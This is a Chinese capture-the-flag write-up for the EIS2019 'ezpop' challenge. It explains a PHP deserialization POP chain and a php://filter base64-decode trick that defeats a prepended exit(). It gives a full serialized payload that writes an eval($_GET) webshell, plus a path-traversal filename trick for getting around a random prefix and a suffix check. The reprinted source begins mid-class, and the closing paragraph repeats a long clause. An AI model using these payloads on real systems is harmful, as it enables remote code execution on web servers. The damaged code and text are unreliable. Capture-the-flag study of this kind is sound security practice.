0%

EIS2019 ezpop

[EIS2019] ezpop

看到这个标题就知道应该是反序列化构造pop链,不过实际写下来感觉pop链没什么东西,绕过的trick倒是学了一堆,先上源码

key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();
//        print $contents;
        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "\n" . $data;
//        print $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

$b = new B();
$b->options['serialize'] = "strval";
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=./uploads/";
$a = new A($b, 'z3ratu1.php');
$a->cache = array('dirname'=> "PD9waHAgZXZhbCgkX0dFVFsnYSddKTsgPz4");
echo str_replace(' ','%',serialize($a));

定义两个类,魔法方法就A中一个构造一个析构,能用的只有析构,析构直接进save,save函数仅在B类中存在,也就省去了有的题目还要思考是走哪个类的pop链的问题
类A最后会通过析构进入类B的save函数中,所以store这个对象肯定是一个B,类A剩下两个函数都是对content内容进行加工,但是就我做题情况而言,好像这两个函数都没什么用。。。
总的效果就是如果数组中存在一个值仍为数组,就把他和写死的数组比较然后返回键名相同的项,最后通过json_encode一下,
最后这个值会在save函数里作为data的内容拼接一个exit写入文件,剩下的A,B两个类里面的大部分参数都是直接可以控制的,A中的key为写入的文件名,B中的option[‘prefix’]是目录名
options[‘expire’]不知道有什么用,一通类型转换之后写进了注释里面,sprintf('%012d', $expire)这里的%012d表示最短12位的数字,不足12位用0填充
option[‘serialize’]中对应的函数名对我们传入的数据进行一次处理,什么都不做就可以了,选择strval()
options[‘data_compress’]不知道是想干什么,是不是把自己写入的字符串压缩一下到时候可以在写入的时候用伪协议解压写入来绕过死亡exit?
但是file_put_contents也支持其他协议,比如php://filter,我们把shell先用base64编码传入,用base64解码将整个内容解码写入就可以绕过死亡exit了,这个是个很老的trick,以前看p神的博客有写过
整个题重点就是一个option['prefix'] = 'php://filter/write=convert.base64-decode/resource=upload/'

小坑

看清这些代码在干什么并不难,只要能想到死亡exit的绕过题目难度就不大,而这里的编码解码绕过是有一点点小坑的
base64编码以3个字节为一组,编码成4个字节一组的字符串,末尾不足的位数用=补齐,所以我们得让最后的data处我们shell前面的字符是4的倍数才能使得他被正确解码
我为了统计字数看了一下data的内容

<?php
//000000000000
 exit();?>
[{"dirname":"PD9waHAgZXZhbCgkX0dFVFsnYSddKTsgPz4"},null]

这里的

<?php
//000000000000
 exit();?>
[{"dirname":"

长度一共是45,但是编码是能刚好成功的,可以说是运气好碰上的,因为这里面有很多base64编码后不存在的字符,例如空格,?>();等,这些字符在解码时全部被忽略了,换行符什么的都一样,所以实际上参与解码的内容就只剩下了php//000000000000exitdirnamePD9waHAgZXZhbCgkX0dFVFsnYSddKTsgPz4null
所以凑字符串的时候还是要注意一下怎么回事
还有一个点在于我们的shell<?php eval($_GET['a']); ?>编码的结果其实是PD9waHAgZXZhbCgkX0dFVFsnYSddKTsgPz4=末尾有一位等号填充,但是如果把这个等号也放进去的话,shell里面就写不进去了,(我猜测)是因为=是编码结束之后用来填充的内容,但是这里在shell后面还有内容,解码的时候却突然遇到了一个=,导致解码出错了

A类里面的那个对比数组的方法我还是不知道有什么用,因为只要我的数组值不是数组它就无法对我造成影响,我shell前面那个键值随便写什么都不会有影响,也不存在用那个函数去调整前面的字符凑编码

payload

O:1:"A":4:{s:8:" * store";O:1:"B":1:{s:7:"options";a:2:{s:9:"serialize";s:6:"strval";s:6:"prefix";s:60:"php://filter/write=convert.base64-decode/resource=./uploads/";}}s:6:" * key";s:11:"z3ratu1.php";s:9:" * expire";N;s:5:"cache";a:1:{s:7:"dirname";s:35:"PD9waHAgZXZhbCgkX0dFVFsiYSJdKTsgPz4";}}

空格为protected变量的标识符,实际上url编码为%00

后记

buu上还有一个新春红包题,和这个题基本一模一样,就是在文件名前面拼接了一个随机字符串,然后又检查了后缀是否为.php
由于前面有一个死亡exit,没法传htaccess来解析其他后缀,而php5,phtml等后缀又不能解析
生成的随机字符串无法获取,也就无法知道上传的文件名
因此稍微修改一下payload,只需要整体在key上面动动手脚就可以
新payload的key为: /../z3ratu1.php/.,通过/../将之前的随机字符串作为一个目录,而再用..跳出,这样子就绕过随机字符串,控制了文件名,而最后的/.仍为当前工作目录,是以前看到过的一个绕后缀的trick,这样子就能绕过后缀检测在目录下创建php文件为一个目录,而再用..跳出,这样子就绕过随机字符串,控制了文件名,而最后的/.仍为当前工作目录,是以前看到过的一个绕后缀的trick,这样子就能绕过后缀检测在目录下创建php文件